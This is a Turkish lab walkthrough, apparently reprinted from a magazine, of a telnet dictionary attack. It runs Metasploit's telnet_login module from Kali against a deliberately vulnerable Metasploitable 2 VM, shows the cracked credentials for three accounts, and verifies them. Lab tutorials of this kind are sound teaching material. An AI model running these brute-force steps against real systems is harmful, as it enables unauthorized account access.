Telnet Sözlük Saldırısı

Gereksinimler

Eski Kali (kali-linux-1.0.4-amd64.iso)
Metasploitable 2 (Metasploitable-linux-2.0.0)

Eski Kali'den Metasploitable2'ye telnet server'ı üzerinden sözlük saldırısı yapılacaktır. Böylece Metasploitable2'ye ait sistem oturum hesapları elde edilecektir. Ardından bunlar ekrana basılacaktır. Şimdi Kali'den saldırıya başlayalım:

```
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set RHOSTS 192.168.0.14              // Metasploitable'ın IP Adresi
msf auxiliary(telnet_login) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf auxiliary(telnet_login) > set USER_AS_PASS true
msf auxiliary(telnet_login) > run
```

Modül önce kullanıcı adı ile boş şifre denemelerinde bulunacaktır. Sonra USER_AS_PASS true olduğu için hem kullanıcı adı hem de şifre için aynı string'i kullanacaktır. Yaklaşık 219 denemeden sonra sözlük saldırısı bitecektir. Birçok deneme olduğundan scroll bar'ı indirip kaldırarak yeşil olan denemeyi bulmak yerine hangi denemelerin hedef sistemde tuttuğunu öğrenmek için creds komutunu kullanabiliriz.

```
msf auxiliary(telnet_login) > creds
```

Output:

host	port	user	pass
192.168.0.14	23	user	user
192.168.0.14	23	service	service
192.168.0.14	23	postgres	postgres

Böylece Metasploitable2'ye ait üç tane sistem hesabı elde etmiş olduk. Bunlar gerçekten de işe yarıyor muyu test etmek için metasploitable2'de bu hesap bilgileriyle oturum açmayı deneyebiliriz. Örneğin:

i)

```
msfadmin@metasploitable:~$ su - user
Password: user

user@metasploitable:~$
```

ii)

msfadmin@metasploitable:~$ su - service
Password: service

service@metasploitable:~$

iii)

msfadmin@metasploitable:~$ su - postgres
Password: postgres

postgres@metasploitable:~$

Görüldüğü üzere sözlük saldırısı ile tespit edilen üç hesap gerçekten de varmış. Bu hesap bilgilerini kullanarak Kali'den telnet oturumu açabilir ve uzak sistemin komut satırını komut satırımıza getirebiliriz.

Kaynak: PCNET Dergisi, Temmuz 2016 Sayısı, Sayfa 26